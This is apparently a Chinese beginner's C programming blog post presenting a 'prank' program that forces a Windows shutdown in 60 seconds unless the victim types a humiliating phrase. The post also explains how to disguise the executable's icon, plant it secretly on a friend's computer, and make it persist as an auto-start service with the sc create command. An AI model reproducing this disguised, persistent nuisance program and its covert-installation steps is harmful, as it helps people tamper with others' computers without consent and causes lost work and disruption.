C语言的学习过程,我把它记录下来 | |
---|---|
让电脑在规定时间内关机,也可以用来整蛊 |
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main()
{
char input[20] = { 0 };
system("shutdown -s -t 60"); //设置关机时间为60秒,system引用stdlib.h
again:
printf("请注意,你的电脑将在1分钟后关机,输入:我只是一只猪 取消关机\n");
scanf("%s",input);
if (strcmp(input, "我只是一只猪") == 0) //比较字符串,为真返回0,需引string.h
{
system("shutdown -a"); //取消关机
}
else
{
goto again; //输入错误跳转,可以用循环语句代替。
}
return 0;
}
我们把这份代码保存为exe文件,以vs2019为例,选择Release后ctrl+F5,然后到输出目录中找到Release文件夹,里面有一份后缀是exe的程序,这就是关机小程序了,我们可以改名字,并用诸如exe伪装器等小工具更改图标。 | |
然后把它发给你的朋友们,嘿 |
当然你也可以趁朋友不注意把它放在对方的电脑里,然后通过SC命令等方式将程序设置成系统服务 |
这样电脑每次开机都会自动激活这个程序,不过要小心友尽 |
-
sc命令设置exe程序为系统服务的方法:首先以管理员的身份打开CDM命令提示符
-
创建服务:sc create 服务名称 binPath= 路径 start= auto //注意=号后必须有空格
-
删除服务:sc delete 服务名称
-
举个栗子,我把关机程序重命名为zhu,放在D盘下
-
创建:sc create zhu binPath= D:\zhu.exe start= auto
-
删除:sc delete zhu
-
然后可以通过控制面板 – 管理工具 – 服务找到zhu,来启动、关闭或设置开机自启动等
如果你的朋友找你PK,送你一张图↓ |
---|
希望能和大家一起学习、进步,每一个关注和点赞都是我学习的动力,我也会回关回赞的,互相督促共同进步 |
---|
欢迎各位大佬指导提携,感激不尽 |